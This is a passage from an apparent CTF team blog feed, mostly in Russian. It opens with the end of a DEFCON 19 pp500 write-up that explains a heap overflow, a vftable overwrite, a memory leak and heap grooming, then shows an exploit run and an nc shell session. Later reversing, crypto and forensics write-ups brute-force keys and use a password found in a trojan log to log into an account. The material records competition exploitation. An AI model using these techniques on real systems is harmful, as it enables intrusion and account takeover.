<pre class="brush: bash">
.rodata:0804ECC8 class02_vftable dd offset cl02_vfunc0_copy_buffer
.rodata:0804ECCC                 dd offset cl02_vfunc1_get_buffer
.rodata:0804ECD0                 dd offset cl02_vfunc2_send_buffer
.rodata:0804ECD4                 dd offset cl02_vfunc3_dump_obj
.rodata:0804ECD8                 dd offset cl02_vfunc4_destructor
.rodata:0804ECDC                 dd offset cl02_vfunc5_destructor_with_delete
</pre>

All generated instances are stored in an associative container, which is implemented as a red-black tree:<p>
<pre class="brush: cpp">
struct rb_tree_item 
{ 
  int color; 
  rb_tree_item * parent; 
  rb_tree_item * left; 
  rb_tree_item * right; 
  char * hash_str; 
  base_class * value; 
}; 
</pre>

[1.3] Heap overflow <p>

The method "class_02::copy_buffer" implements a classical buffer overflow. It is called from "cmd_edit_record" and copies the data came from a client into its own buffer. Since the function copies exactly 248 bytes, but the buffer size is 224 bytes, it is always overwriting 24 bytes in the heap out of border.<p>

<pre class="brush: cpp">
void class_02::copy_buffer(class_02 * this, char * buffer) 
{ 
  unsigned int i; 

  for (i = 0; i &lt;= 248; + + i) 
     this-&gt;buffer[i] = buffer[i]; 
}
</pre>

[2] Vulnerability exploitation  <p>

Summarizing the said above, when a new record is created there is a 50% chance of getting an instance of vulnerable class. All we need is to wait till it is created and call "edit record" command.<p>

[2.1] Rewrite vftable<p>

During the program execution the memory on the heap is allocated as follows:<p>
<pre class="brush: bash">
[8 byte, heap header] [obj1] 
[8 byte, heap header] [obj2] 
[8 byte, heap header] [obj3] 
</pre>

Overflowing the heap we'll overwrite the 8 bytes of data belonging to the heap manager and 16 bytes of the object allocated after. If this object is an instance of a class, we'll overwrite vftable of this instance, so we'll be able to pass control to the shellcode. <p>

<pre class="brush: cpp">
struct base_class {  
  cl_vftable *vftable;
  int buffer_len;
  int class_count;
  int type;
};
</pre>

<p>[2.2] Memory leak </p>

We can also rewrite not only vftable of the instance, but also "buffer_len" and "class_count". And the function "dump_obj" copies the data on the basis of "buffer_len".<p>

<pre class="brush: cpp">
std:string* cl02_vfunc3_dump_obj(std:string *str, class_02 *this)
{
  char s[0x20];
  unsigned int i;

  str = new std:string();
  sprintf(&amp;s, &quot;Item ID:    %d\n&quot;, this-&gt;base.class_cnt );
  str += s;
  sprintf(&amp;s, &quot;Item Value: %u\n&quot;, this-&gt;base.type );

  str += s;
  str += Data:\n&quot;;

  for ( i = 0; i &lt; this-&gt;base.buffer_len; ++i )
  {
    if ( i &amp;&amp; i % 16 )
       str += &quot;\n&quot;
    sprintf(&amp;s, &quot; %02x&quot;, this-&gt;buffer[i]);
    str += s;
  }

  return str;
}
</pre>

Thus we can rewrite "buffer_len" and call "view record", which in turn calls "obj_dump" and reads the data from the heap. <p>

If we find a structure "rb_tree_item" on the heap, we can find the address of the instance and accordingly the address of buffer containing the data we can control. The algorithm is as follows: <p>
<ol>
	<li>first double word (color) == 01000000 or 00000000 </li>
	<li>fifth and sixth double-word (hash_str and value) differ by 20. </li>
</ol>

<pre class="brush: cpp">
struct rb_tree_item
{
  int color;
  rb_tree_item *parent;
  rb_tree_item *left;
  rb_tree_item *right;
  char *hash_str;
  base_class *value;
};
</pre>

[2.3] Algorithm<p>

In the beginning we need to get two instances put in the memory one right after another. Let's see how the memory is allocated when the new records are being consequentially added: <p>
<pre class="brush: bash">
[8 byte, heap haeder] 
[16 byte, hash_str] 
[8 byte, heap haeder] 
[216 byte, class1 or 240 byte, class2] 
[8 byte, heap haeder] 
[24 byte, rb_tree_item] 
[8 byte, heap haeder] 
[16 byte, hash_str] 
[8 byte, heap haeder] 
[216 byte, class1 or 240 byte, class2] 
[8 byte, heap haeder] 
[24 byte, rb_tree_item]
</pre>

Okay, now how can we allocate two instances consequently on the heap? Very simply: we create several entries, then delete one, hence the hole is formed in the heap. Next, smaller memory objects like "hash_str" or "rb_tree_item" will be allocated to the hole, when the new instances of the class will be allocated at the end of the heap. <p>

<pre class="brush: bash">
  alloc 3 class        delete class         alloc again
[ hash 1         ]   [ hash 1         ]   [ hash 1         ]
[ class 1        ]   [ class 1        ]   [ class 1        ]
[ rb_tree_item 1 ]   [ rb_tree_item 1 ]   [ rb_tree_item 1 ]

[ hash 2         ]   [ free space     ]   [ hash 4         ]
[ class 2        ]   [ free space     ]   [ rb_tree_item 4 ]
[ rb_tree_item 2 ]   [ free space     ]   [ hash 5         ]
                                          [ rb_tree_item 5 ]
                                          [ free space     ]

[ hash 3         ]   [ hash 3         ]   [ hash 3         ]
[ class 3        ]   [ class 3        ]   [ class 3        ]
[ rb_tree_item 3 ]   [ rb_tree_item 3 ]   [ rb_tree_item 3 ]

[ free space     ]   [ free space     ]   [ class 4        ]
                                          [ class 5        ]
                                          [ free space     ]
</pre>

Now, if the instance 4 is vulnerable, we can rewrite the data of the instance 5. First time we rewrite "buffer_len" of the instance 5, then we call "view record", in such a way we read the heap. After that we find the "rb_tree_item" structure on the heap, so we know the address of one of the instances (or the address of its buffer) and the hash value. Now we put a buffer containing a new dummy vftable and our shellcode. <p>

<pre class="brush: bash">
[vftable addr]----------+
                        |
[shellcode addr] &lt;------+
[shellcode addr]
[shellcode addr]
[shellcode addr] -------+
[shellcode addr] -------+
[shellcode addr] -------+
                        |
[shellcode] &lt;-----------+
</pre>

Now, again, rewrite the data of class 5, this time to rewrite vftable pointer to our buffer with dummy vftable pointing to the shellcode. Call any of the functions of the class and shellcode will get control :-).<p>

[3] Demo <p>

<pre class="brush: bash">
snk-box:pp500 snk$ time python pp500_client.py 140.197.212.163[+] Connect to 10.37.129.9
[*] add class: bc2d27ac8b
[*] add class: ca99de04c1
[*] add class: 15c040215a
[*] add class: d2f2f0ca85
[*] add class: 92128d18ee
[*] del class: d2f2f0ca85
[*] add class: 882b156368
[*] add class: 542dfd8f28
[*] add class: 48f78810d4
[*] add class: 24ef6bc9ae
[*] add class: 87febbedde
[*] add class: e3bf84d566
[*] add class: 11cb07ced8
[*] add class: ff01842dbb
[*] add class: 5efafa1aaf
[*] add class: ac3f63ca46
[*] try mem leak
[+] leak sucess ;)
[*] parse memory dump
[!] find class addr: 90caa08 hash:5efafa1aaf
[!] triger vulnerability
[+] check the shell :-)

real     0m9.123s
user     0m3.560s
sys     0m1.123s
snk-box:pp500 snk$ nc -vv 140.197.212.163 6666


Connection to 140.197.212.163 6666 port [tcp/*] succeeded!
echo *
bin key lib
read lol &lt;key; echo $lol
template&lt;code&gt;isa&lt;bitch&gt;to&lt;look&gt;at
</pre>

The key is: <strong>template&lt;code&gt;isa&lt;bitch&gt;to&lt;look&gt;at</strong><p><br/>
exploit code: <a href="http://smokedchicken.org/dc19_pp500_exploit.py">dc19_pp500_exploit.py</a>
<br/><br/>
Kudos go to <a href="https://twitter.com/blackzert">@blackzert</a> and <a href="https://twitter.com/hellman1908">@hellman1908</a> for joint work on this exploit and valuable advices. <p>]]>
        
    </content>
</entry>

<entry>
    <title>Nuit Du Hack (NdH2k11) - RCE300</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2011/04/NdH2k11-rce300.html" />
    <id>tag:smokedchicken.org,2011://1.54</id>

    <published>2011-04-04T17:28:09Z</published>
    <updated>2011-04-22T03:38:14Z</updated>

    <summary>File: rce300.zip Задание на первый взгляд интересное и необычное, у нас есть игра для Nintendo DS, которая проверяет введенную строку и сообщает success или fail. Для начала нам нужно загрузить образ в IDA для анализа. В сети есть loader для...</summary>
    <author>
        <name>snk</name>
        <uri>https://twitter.com/#!/snkdna</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ida" label="ida" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="reverseengineering" label="reverse engineering" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[File: <a href="http://smokedchicken.org/rce300.zip">rce300.zip</a><br />
Задание на первый взгляд интересное и необычное, у нас есть игра для <a href="http://en.wikipedia.org/wiki/Nintendo_DS">Nintendo DS</a>, которая проверяет введенную строку и сообщает success или fail.<br />
Для начала нам нужно загрузить образ в IDA для анализа. В сети есть loader для IDA, но он скомпилирован под старую версию. Можно скомпилировать с новым sdk, но мы пошли по быстрому пути посмотрели нужные поля в заголовке и загрузили прошивку руками.<br />
<br />
snk-box:rce300 snk$ ./dump-hdr crackme.nds <br />
gamecode: ####<br />
devicetype: 0x0<br />
devicecap: 0x2<br />
<strong>arm9_rom_offset: 0x200<br />
arm9_entry_address: 0x2000000<br />
arm9_ram_address: 0x2000000<br />
arm9_size: 0x41e7c<br /></strong>
arm7_rom_offset: 0x42200<br />
arm7_entry_address: 0x37f8000<br />
arm7_ram_address: 0x37f8000<br />
arm7_size: 0xf71c<br />
fnt_offset: 0x51a00<br />
fnt_size: 0x9<br />
fat_offset: 0x51c00<br />
fat_size: 0x0<br />
arm9_overlay_offset: 0x0<br />
arm9_overlay_size: 0x0<br />
application_end_offset: 0x52440<br />
rom_header_size: 0x200<br />
<br />
После того как загрузили, поищем интересные строки в памяти. Быстро найдем вот такой кусок:<br />
<pre>
RAM:020003BE       LDR     R0, =a______________ ; " ______________________________\n"
RAM:020003C0       BL      printf
RAM:020003C4       LDR     R0, =asc_2040858 ; "|                              |\n"
RAM:020003C6       BL      printf
RAM:020003CA       LDR     R0, =aPassword  ; "|            password          |\n"
RAM:020003CC       BL      printf
RAM:020003D0       LDR     R0, =asc_2040858 ; "|                              |\n"
RAM:020003D2       BL      printf
RAM:020003D6       LDR     R0, =asc_20408A0 ; " ------------------------------\n\n"
RAM:020003D8       BL      printf
RAM:020003DC       LDR     R0, =aRootNdh2011 ; "root@ndh2011:# "
RAM:020003DE       BL      printf
RAM:020003E2       LDR     R1, [SP,#8]
RAM:020003E4       LDR     R0, =aS         ; "%s"
RAM:020003E6       BL      scanf
RAM:020003EA       ADD     R3, SP, #16     ; R3 - String
</pre>
<br />
По тому какие параметры передаются очень похоже что это вызов фукций printf и scanf. Чуть ниже идет несколько проверок и вычисление хеша от введенной строки.<br />
<a href="http://smokedchicken.org/assets_c/2011/04/rce300-90.html" onclick="window.open('http://smokedchicken.org/assets_c/2011/04/rce300-90.html','popup','width=849,height=940,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img alt="rce300.png" src="http://smokedchicken.org/rce300.png" width="400" class="mt-image-center" style="text-align: center;" /> </a></ br;>
<br />
Хэш-функция располагается по адресу sub_02003530. Её псевдокод и код полной проверки строки в <a href="http://smokedchicken.org/rce300_src.tgz">rce300_src.tgz</a><br />
<br />
snk-box:rce300 snk$ ./brute<br />
Key: DsLrox<br /><br />
<img alt="rce300-win.png" src="http://smokedchicken.org/rce300-win.png" width="269" height="468" class="mt-image-center" style="text-align: center; display: block; margin: 0 auto 20px;" />
<br />
Задание на первый взгляд было сложным, но как оказалось решалось очень быстро, даже разбираться в устройстве Nintendo не пришлось :(]]>
        
    </content>
</entry>

<entry>
    <title>Nuit Du Hack (NdH2k11) - RCE200</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2011/04/NdH2k11-rce200.html" />
    <id>tag:smokedchicken.org,2011://1.53</id>

    <published>2011-04-04T16:04:14Z</published>
    <updated>2011-04-04T18:07:04Z</updated>

    <summary>File: rce200.zip Представляет из себя приложение для Android. С помощью dex2jar конвертируем из Dalvik bytecode в Java bytecode и c помощью jad или JD-GUI декомпилируем. Внутри у нас три класса: a,b и c, последний представляет из себя хранилище для зашифрованных...</summary>
    <author>
        <name>snk</name>
        <uri>https://twitter.com/#!/snkdna</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="android" label="android" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="reverseengineering" label="reverse engineering" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>File: <a href="http://smokedchicken.org/rce200.zip">rce200.zip</a><br />
Представляет из себя приложение для Android. С помощью dex2jar конвертируем из Dalvik bytecode в Java bytecode и c помощью jad или JD-GUI декомпилируем. Внутри у нас три класса: a,b и c, последний представляет из себя хранилище для зашифрованных строк. </p>

<p>a=f9dd11ff6857af73ac9a944dfc52f41b<br />
b=google_sdk<br />
c=MD5<br />
d=android.speech.action.RECOGNIZE_SPEECH<br />
e=SHA-1</p>

<p>Логика приложения простая, оно ждет пока мы скажем голосом слово, проверяет что MD5 от него равен f9dd11ff6857af73ac9a944dfc52f41b, а ключом является SHA1 от него.</p>

<p>По Rainbow tables легко найти MD5(salope) = f9dd11ff6857af73ac9a944dfc52f41b значит ключ:<br />
<strong>SHA1(salope)=913beccad686975f8c686d9b3b1ee6bb97c22d6f</strong></p>

<p>Вуа ля :)</p>]]>
        
    </content>
</entry>

<entry>
    <title>Nuit Du Hack (NdH2k11) - RCE100</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2011/04/NdH2k11-rce100.html" />
    <id>tag:smokedchicken.org,2011://1.51</id>

    <published>2011-04-04T15:50:32Z</published>
    <updated>2011-04-10T09:42:00Z</updated>

    <summary>File: rce100.zip Задание представляет из себя Win32 PE бинарный файл запакованный простеньким пакетом. Сперва распаковываем подручными средствами или снимаем дамп, восстанавливаем импорт. Я использовал IDA Universal PE unpacker и IDAStealth, кто-то использует свои любимые средства. Первым делом в распакованном бинарнике...</summary>
    <author>
        <name>snk</name>
        <uri>https://twitter.com/#!/snkdna</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[File: <a href="http://smokedchicken.org/rce100.zip">rce100.zip</a><br />
Задание представляет из себя Win32 PE бинарный файл запакованный простеньким пакетом. Сперва распаковываем подручными средствами или снимаем дамп, восстанавливаем импорт. Я использовал IDA Universal PE unpacker и <a href="http://newgre.net/idastealth">IDAStealth</a>, кто-то использует свои любимые средства.<br />
Первым делом в распакованном бинарнике смотрим строки и API вызовы. Вскоре находим функцию которая вызывает RegisterClassExA - это sub_403260. Вот примеры её вызовов:<br />
<pre class="brush: c">
  sub_403260(&quot;CWindow&quot;, CWindow_WindowProc, 0x7F00);
  sub_403260(&quot;CImage&quot;, CImage_WindowProc, 0x7F00);
  sub_403260(&quot;CEdit&quot;,  CEdit_WindowProc, 0x7F00);
  sub_403260(&quot;CButton&quot;, CButton_WindowProc, 0x7F89);
</pre>
Окей уже неплохо, а теперь посмотрим граф вызовов и его же но с переименованными функциями:<br />
<a href="http://smokedchicken.org/assets_c/2011/04/rce100-1-85.html" onclick="window.open('http://smokedchicken.org/assets_c/2011/04/rce100-1-85.html','popup','width=769,height=575,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img alt="rce100-1.png" src="http://smokedchicken.org/rce100-1.png" width="450" class="mt-image-none" style="" /></a>
<a href="http://smokedchicken.org/assets_c/2011/04/rce100-2-86.html" onclick="window.open('http://smokedchicken.org/assets_c/2011/04/rce100-2-86.html','popup','width=753,height=588,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img alt="rce100-2.png" src="http://smokedchicken.org/rce100-2.png" width="450" class="mt-image-none" style="" /></a><br />

<br />
Код функции WinMain:<br />
<pre class="brush: c">
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  HRSRC v4; // eax@1
  HWND v5; // esi@1
  HRSRC v6; // eax@1
  int v7; // eax@1
  HRSRC v8; // eax@1
  int v9; // eax@1
  int v10; // esi@1

  sub_401000(hInstance);
  sub_401080(0, 0x101010u, 0x999999u);
  v4 = sub_402CB0(0x73u);
  v5 = NewWindows(0, 10, 10, 1, v4, -1, &quot;test&quot;, sub_41ED20, 0);
  v6 = sub_402CB0(0x75u);
  v7 = sub_401BA0(v6);
  CreateCImage(v5, 220, 180, 4, v7);
  v8 = sub_402CB0(0x74u);
  v9 = sub_401BA0(v8);
  CreateCImage(v5, 220, 190, 3, v9);
  sub_403580(4);
  sub_403580(3);
  CreateCEdit(v5, 390, 240, 200, 20, 2, 2);
  NewButton(v5, 405, 270, 80, 20, 100, &quot;Login&quot;, 10);
  NewButton(v5, 495, 270, 80, 20, 101, &quot;Quit&quot;, 10);
  sub_403750(100, 1, 50);
  sub_403750(101, 1, 50);
  sub_403550(1);
  sub_403870(1, 128);
  v10 = sub_4010B0();
  sub_4010F0();
  return v10;
}
</pre>
<br />
Замечаем  <pre class="brush: c">v5 = NewWindows(0, 10, 10, 1, v4, -1, &quot;test&quot;, sub_41ED20, 0);</pre>
<br />
sub_41ED20 - это оконная процедура, которая дальше вызывает функцию sub_41ECB0<br />
<br />
<pre class="brush: c">
int __cdecl sub_41ECB0()
{
  signed int v1; // [sp+0h] [bp-20Ch]@2
  char v2; // [sp+4h] [bp-208h]@1
  unsigned int v3; // [sp+208h] [bp-4h]@1

  v3 = &amp;v2 ^ dword_4228B4;

  GetCEditString(2, &amp;v2, 513);
  if ( calc_hash(&amp;v2) == 0xC4B1801C )	// Bingo !
    v1 = 3;
  else
    v1 = 4;

  sub_403550(v1);
  sub_403580(2);
  sub_403580(100);
  return 0;
}

int __usercall calc_hash&lt;eax&gt;(const char *string&lt;edi&gt;)
{
  const char *v1; // ecx@1
  int hash; // esi@1
  unsigned int i; // edx@1
  char v4; // al@2

  v1 = string;
  hash = 0xDEADBEEFu;
  i = 0;
  do
    v4 = *v1++;
  while ( v4 );
  if ( v1 != string + 1 )
  {
    do
      hash = 0x5B86AFFE * string[i++] - 0x38271606 * hash;
    while ( i &lt; strlen(string) );
  }
  return hash;
}
</pre>
<br />
Теперь мы можем написать брутфорсер: <br />
<pre class="brush: bash">
snk-box:rce100 snk$ ./brute
Key: pWn3D
</pre>
<br />
Таких строк удовлетворяющих условию будет очень много. Но жюри приминает только две:  pWn3D и H,v^^]]>
        
    </content>
</entry>

<entry>
    <title>Nuit du Hack (NdH2k11) - crypto300</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2011/04/ndh2k11-crypto300.html" />
    <id>tag:smokedchicken.org,2011://1.50</id>

    <published>2011-04-04T13:56:43Z</published>
    <updated>2011-11-27T00:29:39Z</updated>

    <summary>Видим протокол: клиент цепляется к серверу, отправляет публичный ключ, сервер отправляет свой, на основе ключей генерируется сессионный ключ. Если публичный ключ разрешен на сервере, то получим флаг. Задача - иметь возможность представиться клиентом с разрешенным публичным ключом. Т.к. в генерации...</summary>
    <author>
        <name>kyprizel</name>
        <uri>http://www.kyprizel.net</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="crypto" label="crypto" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[Видим протокол:
клиент цепляется к серверу, отправляет публичный ключ, сервер отправляет свой, на основе ключей генерируется сессионный ключ.
Если публичный ключ разрешен на сервере, то получим флаг. Задача - иметь возможность представиться клиентом с разрешенным публичным ключом. Т.к. в генерации сессионного ключа используется приватный ключ, то для заданного публичного ключа попробуем найти приватный. В конструкторе класса BraidKey видим, что перемешиваются только 2 часть ключа длиной N инициализированного цифрами 0..N-1.

<pre class="brush: py">
self.privkey = Braid(N)
if client:
    self.privkey.shuffle(offset=N/2)
</pre>

Видим, что длина приватного ключа клиента 22 байта, а первые 11 байт  всегда статичны. Для того чтобы найти вторую часть ключа, переберем 11!(~40M) вариантов перестановок. <a href=http://leetmore.ctf.su/wp/nuit-du-hack-2011-ctf-crypto-300/#more-892>Leet More описали этот метод как неэффективный</a>(en), но столь большое количество времени необходимо лишь из-за неоптимальной процедуры комбинации ключей в исходном коде. Развернутый код(thanks to bma!):

<pre class="brush: plain">
% time python b.py
Found!!! [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 15, 18, 17, 14, 13, 21, 20, 16, 19, 11, 12]
41.922u 0.000s 0:42.14 99.4%    1261+1261k 0+0io 0pf+0w
</pre>

Исходник:
<pre class="brush: py">
#!/usr/local/bin/python
# -*- coding: UTF-8 -*-
from sys import exit
from itertools import permutations

#def gen_pub(priv_key, key, len_key):
#    # reverse
#    privr_key = range(len_key)
#    pub_key = range(len_key)
#    temp0 = range(len_key)
#    for i in xrange(len_key):
#        privr_key[priv_key[i]] = i
#    # combine part one
#    for i in xrange(len_key):
#        temp0[i] = privr_key[key[i]]
#    # combine part two
#    for i in xrange(len_key):
#        pub_key[i] = temp0[priv_key[i]]
#    return pub_key


def main():
    key = [13, 18, 20, 4, 1, 8, 6, 15, 5, 12, 14, 2, 7, 3, \
            10, 21, 16, 9, 0, 11, 19, 17]
    npub = [15, 12, 17, 4, 1, 8, 6, 11, 5, 21, 14, 16, 0, 9, \
            10, 3, 13, 19, 18, 20, 2, 7]
    bpkey = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
    spkey = [11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21]
    len_key = len(key)
    privr_key = range(len_key)
    pub_key = range(len_key)
    temp0 = range(len_key)

    iter = 0

    for p in permutations(spkey):
        iter += 1
        if iter % 100000 == 0:
             print iter

        pkey = bpkey + list(p)

        for i in xrange(len_key):
            privr_key[pkey[i]] = i
        # combine part one
        for i in xrange(len_key):
            temp0[i] = privr_key[key[i]]
        # combine part two
        for i in xrange(len_key):
            pub_key[i] = temp0[pkey[i]]

        if pub_key == npub:
            print &quot;Found!!!&quot;, pkey
            return 0
    return 0

if __name__ == '__main__':
    try:
        import psyco
        psyco.full()
    except ImportError:
        print 'Psyco not installed, the program will just run slower'
    exit(main())
</pre>]]>
        
    </content>
</entry>

<entry>
    <title>ruCTF-2011 Quals - Forensic 300</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2011/02/ructf-2011-quals---forensic-300.html" />
    <id>tag:smokedchicken.org,2011://1.49</id>

    <published>2011-02-27T17:56:42Z</published>
    <updated>2011-02-27T18:11:15Z</updated>

    <summary>Так сложилось, что данный таск выполнила только наша команда. На самом же деле, таск достаточно прост. 1. Просматриваем файлы, находим \homedir\AppData\Local\Temp\log.kla. Судя по всему, это лог трояна. Видим пару паролей. А также использование Mozilla Firefox. 2. Идем в профиль FF,...</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="разбор" label="разбор" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>Так сложилось, что данный таск выполнила только наша команда.</p>

<p>На самом же деле, таск достаточно прост.<br />
1. Просматриваем файлы, находим \homedir\AppData\Local\Temp\log.kla. Судя по всему, это лог трояна. Видим пару паролей. А также использование Mozilla Firefox.<br />
2. Идем в профиль FF, \homedir\AppData\Roaming\Mozilla\Firefox\Profiles\t2ejstbt.default\, забираем sqlite базы.<br />
3. Качаем <a href="http://sqlitestudio.one.pl/index.rvt?act=download">SQLiteStudio</a><br />
4. В таблицах cookies / places находим, что пользователь посещал mail.ru, losangeles.com, love.qip.ru, loveplanet.ru.<br />
5. В таблице formhistory видим два логина - ructfmaster и ctfboy.<br />
6. Пароль из лога трояна "master" подходит к аккаунту ructfmaster на mail.ru.<br />
7. Второй логин зарегистрирован на love.qip.ru<br />
8. На странице пользователя http://love.qip.ru/page/ctfboy легко находится ответ: "Welcome to the desert... of the real."</p>]]>
        
    </content>
</entry>

<entry>
    <title>IDA signatures for MFC v8</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/12/ida-signatures-for-mfc-v8.html" />
    <id>tag:smokedchicken.org,2010://1.48</id>

    <published>2010-12-26T10:37:33Z</published>
    <updated>2010-12-26T10:49:01Z</updated>

    <summary>Сигнатуры MFC v8 для ARM: mfc8_arm.sig...</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="Tools watch" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ida" label="ida" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>Сигнатуры MFC v8 для ARM: <a href="http://smokedchicken.org/2010/12/26/mfc8_arm.sig">mfc8_arm.sig</a></p>]]>
        
    </content>
</entry>

<entry>
    <title>Неожиданно</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/11/neozhidanno.html" />
    <id>tag:smokedchicken.org,2010://1.47</id>

    <published>2010-11-22T06:41:52Z</published>
    <updated>2010-11-22T06:47:33Z</updated>

    <summary>Разглядывал книжки на полке в лаборатории, как неожиданно наткнулся на... И. Скляров &quot;Головоломки для хакера&quot;. Оказывается sklyaroff и на японском издается :)...</summary>
    <author>
        <name>盗賊</name>
        <uri>http://maratto.blogspot.com</uri>
    </author>
    
        <category term="Fun" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>Разглядывал книжки на полке в лаборатории, как неожиданно наткнулся на... И. Скляров "Головоломки для хакера".</p>

<p><img alt="sklyar.jpg" src="http://smokedchicken.org/2010/11/22/sklyar.jpg" width="561" height="800" class="mt-image-none" style="" /></p>

<p>Оказывается sklyaroff и на японском издается :)</p>]]>
        
    </content>
</entry>

</feed>

